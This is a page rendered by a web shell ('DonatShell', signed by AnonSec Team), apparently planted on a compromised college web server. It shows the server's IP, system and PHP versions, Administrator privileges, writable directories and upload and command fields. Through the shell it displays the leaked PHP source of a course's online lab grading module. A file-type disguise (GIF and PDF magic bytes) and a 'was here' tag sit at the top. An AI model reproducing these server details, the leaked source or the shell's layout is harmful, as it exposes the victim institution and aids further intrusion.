GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Class/OnlineLab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Class/OnlineLab/OnlineLab.phpinc
<?
// Class/OnlineLab/OnlineLab.phpinc
// Display and process online lab.

if (da()) debugTrackBegin();

if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) $DEBUG_OnlineLab = true;
if ( !isset($DEBUG_OnlineLab) ) $DEBUG_OnlineLab = false;

array_unshift($Question['Answers'],'');     // Add an empty element to the beginning of $Question['Answers'].
array_unshift($Question['DataFrom'],'');    // Add an empty element to the beginning of $Question['Answers'].
array_unshift($QuestionPart['Text'],'');    // Add an empty element to the beginning of $QuestionPart['Text'].
array_unshift($QuestionPart['Options'],''); // Add an empty element to the beginning of $QuestionPart['Options'].
array_unshift($QuestionPart['Value'],'');   // Add an empty element to the beginning of $QuestionPart['Value'].
array_pop($Question['Answers']);     // Remove the empty last element from $Question['Answers'].
array_pop($Question['DataFrom']);    // Remove the empty last element from $Question['Answers'].
array_pop($QuestionPart['Text']);    // Remove the empty last element from $QuestionPart['Text'].
array_pop($QuestionPart['Options']); // Remove the empty last element from $QuestionPart['Options'].
array_pop($QuestionPart['Value']);   // Remove the empty last element from $QuestionPart['Value'].
// Calculate the required question part count, EC question part count, total required points, and the points for each question part.
$QuestionPart['Count'] = array(); // Question part counts.
$QuestionPart['Count']['Required'] = 0;    // The number of required question parts for the question.
$QuestionPart['Count']['ExtraCredit'] = 0; // The number of EC question parts for the question.
$QuestionPart['Points'] = array(); // Question part points.
$QuestionPart['Points']['Required'] = 0;    // The total required points for this question.
$QuestionPart['Points']['ExtraCredit'] = 0; // The total extra credit points for this question.
$QuestionPart['Answer'] = array(); // The answers to each question part for each question.
for ( $questionNum=1; $questionNum<=$Question['Number']; $questionNum++ ) {
	$QuestionPart['Answer'][$questionNum] = explode(",",$Question['Answers'][$questionNum]); // The correct answers for each question part.
	array_unshift($QuestionPart['Answer'][$questionNum],''); // Add an empty element to the beginning of $QuestionPart['Answer'].
}
for ( $questionPartNum=1; $questionPartNum<count($QuestionPart['Text']); $questionPartNum++ ) {
	if ( $QuestionPart['Value'][$questionPartNum] > 0 ) {
		$QuestionPart['Count']['Required']++;
		$QuestionPart['Points']['Required'] += $QuestionPart['Value'][$questionPartNum];
	} else {
		$QuestionPart['Count']['ExtraCredit']++;
		$QuestionPart['Points']['ExtraCredit'] += abs($QuestionPart['Value'][$questionPartNum]);
	}
}
$QuestionPart['Count']['Total'] = $QuestionPart['Count']['Required'] + $QuestionPart['Count']['ExtraCredit'];

include('common/Class/assignment_evaluation.phpinc'); // Calculate assignment and evaluation values.
include('Course/courseInfo.phpinc'); // Get course info by f_courseNumber, courseNumber, or the URL.
include('../../classInfo.phpinc');
include('Course/studentInClass.phpinc'); // Get f_classId, f_classSection, f_ClassInstructor, f_YRTR by userStudentId and f_courseId.
include('common/Class/EvalInfo.phpinc'); // Get eval info from f_classId and f_evaluationTitle.
$sId = $userStudentId;
#printVar('$v_evaluationRow',$v_evaluationRow);
include('common/user/userId_by_userStudentId.phpinc');
$uId = $f_userId;
#pageCleanupBegin();
include('Gradebook/GetGrade_by_userId_evaluationId.phpinc');
#pageCleanupEnd();
#printVar('$f_userId',$f_userId);

$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.'-'.$f_classSection.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.'-'.$f_classSection.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
include('common/pageHeader.phpinc');
include('common/sectionHeader.phpinc');
include('common/sectionFooter.phpinc');

$f_questionNum = formValue('questionNum'); // Get the questionNum if there is one.
?>
<form name="form_Lab" action="<?=php_self()?>" method="post">
<input type="hidden" name="f_form" value="form_Lab" />
<input type="hidden" name="f_uuid" value="<?=uuid()?>" />
<input type="hidden" name="f_task" value="" />
<input type="hidden" name="f_sId" value="<?=$sId?>" />
<input type="hidden" name="f_uId" value="<?=$uId?>" />
<input type="hidden" name="f_questionNum" value="<?=$f_questionNum?>" />
<?
if ( $DEBUG_OnlineLab ) {
	printVar('$f_task',$f_task,'/');
	printVar('$f_subtask',$f_subtask,'f');
	printVar('$f_classId',$f_classId,'f');
	printVar('$f_classSection',$f_classSection,'f');
	printVar('$f_ClassInstructor',$f_ClassInstructor,'f');
	printVar('$f_evaluationId',$f_evaluationId,'f');
	printVar('$f_evaluationTitle',$f_evaluationTitle,'f');
	printVar('$f_evaluationDescription',$f_evaluationDescription,'f');
	printVar('$f_evaluationPoints',$f_evaluationPoints,'f');
	printVar('$f_evaluationWeight',$f_evaluationWeight,'f');
	printVar('$f_userId',$f_userId,'f');
	printVar('$evaluationNumber',$evaluationNumber,'f');
	printVar('$Question',$Question,'/f');
	printVar('$QuestionPart',$QuestionPart,'/f');
	printVar('$f_gradeId',$f_gradeId,'/f');
	printVar('$f_questionNum',$f_questionNum,'f');
	printVar('$gradeInfo',$gradeInfo,'f');
}

switch ($f_task) {
	case '':
	case 'Return to question list':
	case '_Exit':
		include('Class/OnlineLab/QuestionList.phpinc');
		break;
	case 'Begin':
	case 'Continue':
		include('Class/OnlineLab/QuestionAnswer.phpinc');
		break;
	case 'Add comment':
	case 'Edit comment':
	case 'Edit comments':
		include('Class/OnlineLab/QuestionAnswer.phpinc');
		break;
	case 'Save question':
		include('Class/OnlineLab/QuestionSave.phpinc');
		include('Class/OnlineLab/QuestionList.phpinc');
		break;
	case 'Update grade':
	case 'Submit & grade question':
		include('Class/OnlineLab/QuestionSave.phpinc');
		include('Class/OnlineLab/QuestionStatus.phpinc');
		if ( $f_task == 'Update grade') $Viewed = $gradeanswerInfo[$f_questionNum]['gradeanswerViewed'];
		include('Class/OnlineLab/QuestionGrade.phpinc');
		include('Class/OnlineLab/QuestionSaveGrade.phpinc');
		if ( $f_task == 'Update grade' ) {
			include('Class/OnlineLab/QuestionSaveViewed.phpinc');
			include('Class/OnlineLab/QuestionList.phpinc');
		} else {
			include('Class/OnlineLab/QuestionAnswer.phpinc');
		}
		break;
	case 'View correct answers':
		include('Class/OnlineLab/QuestionSaveViewed.phpinc');
		include('Class/OnlineLab/QuestionAnswer.phpinc');
		break;
	case 'Save comments':
		include('Class/OnlineLab/QuestionSaveComment.phpinc');
		include('Class/OnlineLab/QuestionList.phpinc');
		break;
	case 'Submit lab':
		$f_gradeSubmitted = 1;
		$f_gradeGraded = 1;
	case 'Submit lab comments':
		$f_gradeSubmitted = 1;
		if ( !isset($f_gradeGraded) ) $f_gradeGraded = 0;
		include('Class/OnlineLab/QuestionSubmit.phpinc');
		$f_message = $evaluationType.' '.$evaluationNumber. ' graded &amp; submitted.';
		include('Class/OnlineLab/QuestionList.phpinc');
		break;
	default:
		echo '<p class="bold">'.__FILE__.' <span class="error">Code for $f_task=['.$f_task.'] $f_subtask=['.$f_subtask."] not finished.</p>\n"; setDebugOn();
}
?>
</form>
<script type="text/javascript">
<!--
function QuestionTask(eId) {
	//alert('Question number = '+eId.name+' Task = '+eId.value);
	document.form_Lab.f_questionNum.value = eId.name;
	OnlineLabSubmit(eId);
}
function OnlineLabSubmit(eId) {
	//alert('Question number = '+eId.name+' Task = '+eId.value);
	document.form_Lab.f_task.value = eId.value;
	document.form_Lab.submit();
}
function FormTask(task) {
	//alert('Question number = '+eId.name+' Task = '+eId.value);
	document.form_Lab.f_task.value = task;
	document.form_Lab.submit();
}
if ( document.form_Lab.f_answerPart_0 ) {
	document.form_Lab.f_answerPart_0.focus();
}
if ( document.form_Lab.f_gradeanswerComment ) {
	document.form_Lab.f_gradeanswerComment.focus();
}
// -->
</script>
<?

if (da()) debugTrackEnd();
if ( $DEBUG_OnlineLab ) setDebugOn();
#setDebugOn();
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team